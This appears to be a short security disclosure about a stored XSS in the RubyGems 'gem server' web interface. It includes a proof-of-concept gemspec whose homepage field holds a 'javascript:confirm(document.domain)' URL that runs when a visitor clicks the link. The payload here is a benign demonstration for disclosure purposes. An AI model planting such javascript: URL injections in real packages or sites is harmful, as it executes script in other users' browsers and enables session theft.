[gem server] Stored XSS via crafted JavaScript URL inclusion in Gemspec

A JavaScript URL injection in the `homepage` field within a Gemspec file can be leveraged to achieve stored XSS on the default `gem server` web interface, referenced [here](http://guides.rubygems.org/run-your-own-gem-server/).

Gem::Specification.new do |s|
  s.name = 'securitytest'
  s.version = '0.1.0'
  s.date = '2017-11-10'
  s.summary = "This is a proof-of-concept gem"
    s.description = "Select the WWW hyperlink."
    s.authors = ["Author Name"]
  s.homepage = 'javascript:confirm(document.domain)'
end